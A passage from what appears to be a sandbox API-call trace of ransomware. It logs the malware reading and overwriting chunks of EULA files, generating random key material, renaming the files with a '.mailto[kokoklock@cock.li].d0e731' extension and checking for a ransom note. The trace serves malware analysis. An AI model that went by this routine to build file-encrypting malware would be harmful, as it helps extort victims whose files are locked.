_Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.790] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.790] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fd00) returned 1 [0080.790] RtlExitUserThread (Status=0x1) Thread: id = 1028 os_tid = 0x1714 [0080.783] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm")) returned 0x20 [0080.785] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", dwFileAttributes=0x20) returned 1 [0080.786] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.791] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x24f3fb28 | out: lpFileSize=0x24f3fb28*=75137) returned 1 [0080.791] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1257d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.791] ReadFile (in: hFile=0x52c, lpBuffer=0x24f3fafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f3fafc*, lpNumberOfBytesRead=0x24f3faf8*=0x4, lpOverlapped=0x0) returned 1 [0080.793] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd98 [0080.793] NtQuerySystemTime (in: CurrentTime=0x24f3fad4 | out: CurrentTime=0x24f3fad4*=132121176386934729) returned 0x0 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x2acfd6a6 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x3b8f8030 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x8f0f501c [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x541ed73f [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xfafaca3a [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xbb56b8b9 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x87ba37f4 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xd606113d [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xf82fef1b [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x336415ca [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xe974dda5 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x38ad1c72 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x204f2580 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xb380183 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x4757e936 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x3e2acf1f [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xdf4924b3 [0080.793] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x4d9a2225 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xbdd46e24 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xffe5323 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x6f9e9998 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x6a2425d2 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x22e72865 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x64fe1253 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x20969b87 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x63bb4fc4 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x3d7e93a9 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x9b9a9bdb [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x17fd7d8f [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x768b0af1 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0xdf548d83 [0080.794] RtlRandom (in: Seed=0x24f3fae0 | out: Seed=0x24f3fae0) returned 0x1a7cff24 [0080.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.804] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.805] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24f3faac, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24f3faac*=0x4096, lpOverlapped=0x0) returned 1 [0080.805] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ddc0 [0080.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ddc0) returned 1 [0080.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ddc0 [0080.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ddc0) returned 1 [0080.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.806] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24f3faac, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24f3faac*=0x4096, lpOverlapped=0x0) returned 1 [0080.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.806] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x12581, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.806] WriteFile (in: hFile=0x52c, lpBuffer=0x342df00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24f3fae4, lpOverlapped=0x0 | out: lpBuffer=0x342df00*, lpNumberOfBytesWritten=0x24f3fae4*=0x20, lpOverlapped=0x0) returned 1 [0080.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x24f3faf8*=0x8, lpOverlapped=0x0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x24f3fb10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f3fb10*, lpNumberOfBytesWritten=0x24f3faf8*=0x4, lpOverlapped=0x0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24f3faf8*=0x4, lpOverlapped=0x0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24f3faf8*=0x6c, lpOverlapped=0x0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x24f3faf8*=0x20, lpOverlapped=0x0) returned 1 [0080.807] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24f3faf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24f3faf8*=0x4, lpOverlapped=0x0) returned 1 [0080.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de10) returned 1 [0080.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.807] CloseHandle (hObject=0x52c) returned 1 [0080.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.811] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" [0080.811] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" [0080.811] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.812] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.812] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", dwFileAttributes=0x20) returned 0 [0080.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.812] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.812] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.812] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0080.812] RtlExitUserThread (Status=0x1) Thread: id = 1029 os_tid = 0x1718 [0080.805] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm")) returned 0x20 [0080.813] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", dwFileAttributes=0x20) returned 1 [0080.814] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.814] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x24fbfeec | out: lpFileSize=0x24fbfeec*=266731) returned 1 [0080.814] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x411e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.814] ReadFile (in: hFile=0x52c, lpBuffer=0x24fbfec0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x24fbfec0*, lpNumberOfBytesRead=0x24fbfebc*=0x4, lpOverlapped=0x0) returned 1 [0080.815] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ddc0 [0080.815] NtQuerySystemTime (in: CurrentTime=0x24fbfe98 | out: CurrentTime=0x24fbfe98*=132121176387091136) returned 0x0 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xfac0f5e8 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x924ff8c8 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x71cfbfde [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xcd38ca45 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x45b91ed0 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x35c4882e [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x6e4101e5 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x51f59cd [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x9bbc8ad5 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x44b38677 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x67f6bcf7 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xa9c6cc47 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x53758689 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xe9306da7 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x30921ce3 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xb8f44979 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x429f5e1c [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x1ce1dcdd [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x5654659f [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x5b4c6128 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x5ee9c532 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xe6925f6d [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xc8e4f220 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x46258693 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xe6699cd2 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x9d4d7573 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xf93a7a8f [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x76247e8b [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x1250e5f4 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xbfe497e7 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0x692097f4 [0080.816] RtlRandom (in: Seed=0x24fbfea4 | out: Seed=0x24fbfea4) returned 0xc1c4a2f5 [0080.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.827] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.827] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.829] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dde8 [0080.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dde8) returned 1 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dde8 [0080.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dde8) returned 1 [0080.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.830] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.830] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.830] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.831] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dfc8 [0080.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dfc8) returned 1 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dfc8 [0080.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dde8 [0080.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dde8) returned 1 [0080.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.831] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.832] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x3d155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.832] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.833] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x3d155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dde8 [0080.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dde8) returned 1 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dde8 [0080.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.833] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24fbfe58, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24fbfe58*=0x4096, lpOverlapped=0x0) returned 1 [0080.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x342df00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24fbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x342df00*, lpNumberOfBytesWritten=0x24fbfeb4*=0x20, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x342dfc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24fbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x342dfc8*, lpNumberOfBytesWritten=0x24fbfeb4*=0x20, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x342dde8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24fbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x342dde8*, lpNumberOfBytesWritten=0x24fbfeb4*=0x20, lpOverlapped=0x0) returned 1 [0080.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x24fbfebc*=0x8, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x24fbfed4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x24fbfed4*, lpNumberOfBytesWritten=0x24fbfebc*=0x4, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24fbfebc*=0x4, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, 